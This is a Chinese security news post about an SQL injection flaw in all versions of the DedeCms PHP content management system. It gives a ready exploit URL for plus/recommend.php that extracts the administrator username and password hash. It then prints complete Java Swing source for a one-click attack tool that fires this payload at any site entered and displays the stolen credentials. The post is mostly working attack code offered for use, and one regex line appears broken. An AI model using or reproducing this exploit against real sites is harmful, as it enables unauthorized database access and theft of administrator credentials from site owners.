dedecms即织梦(PHP开源网站内容管理系统)。织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名，是国内最知名的PHP开源网站管理系统，也是使用用户最多的PHP类CMS系统。
近日，网友在dedecms中发现了全版本通杀的SQL注入漏洞，目前官方最新版已修复该漏洞，相关利用代码如下：
EXP:
Exp:plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'
or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select
CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`
limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type]
[type]=application/octet-stream&_FILES[type][size]=111
利用工具源码(by 园长)：
package org.javaweb.dede.ui;
import java.awt.Toolkit;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
*
* @author yz
*/
public class MainFrame extends javax.swing.JFrame {
private static final long serialVersionUID = 1L;
/**
* Creates new form MainFrame
*/
public MainFrame() {
initComponents();
}
public String request(String url){
String str = "",tmp;
try {
BufferedReader br = new BufferedReader(new InputStreamReader(new URL(url).openStream()));
while((tmp=br.readLine())!=null){
str+=tmp+"\r\n";
}
} catch (Exception e) {
jTextArea1.setText(e.toString());
}
return str;
}
private void initComponents() {
jPanel1 = new javax.swing.JPanel();
jLabel1 = new javax.swing.JLabel();
jTextField1 = new javax.swing.JTextField();
jButton1 = new javax.swing.JButton();
jScrollPane1 = new javax.swing.JScrollPane();
jTextArea1 = new javax.swing.JTextArea();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
jLabel1.setText("URL:");
jTextField1.setText("http://localhost");
this.setTitle("DedeCms recommend.php注入利用工具-p2j.cn");
int screenWidth = Toolkit.getDefaultToolkit().getScreenSize().width;
int screenHeight = Toolkit.getDefaultToolkit().getScreenSize().height;
this.setBounds(screenWidth / 2 - 229, screenHeight / 2 - 158, 458, 316);
jButton1.setText("获取");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
jTextArea1.setColumns(20);
jTextArea1.setRows(5);
jScrollPane1.setViewportView(jTextArea1);
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addComponent(jScrollPane1, javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel1)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, 331, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButton1, javax.swing.GroupLayout.PREFERRED_SIZE, 83, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addGap(0, 0, Short.MAX_VALUE))
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel1)
.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jButton1))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 254, Short.MAX_VALUE))
);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);
pack();
}//
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {
String url = jTextField1.getText();
if(null==url||"".equals(url)){
return ;
}
String result = request(url+"/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20mid=@`\\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294");
Matcher m = Pattern.compile("
(.*)
").matcher(result);
if(m.find()){
String[] s = m.group(1).split("\\|");
if(s.length>2){
jTextArea1.setText("UserName:"+s[1]+"\r\nMD5:"+s[2].substring(3,s[2].length()-1));
}
}
}
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new MainFrame().setVisible(true);
}
});
}
// Variables declaration - do not modify
private javax.swing.JButton jButton1;
private javax.swing.JLabel jLabel1;
private javax.swing.JPanel jPanel1;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTextArea jTextArea1;
private javax.swing.JTextField jTextField1;
// End of variables declaration
}
(责任编辑：安博涛)
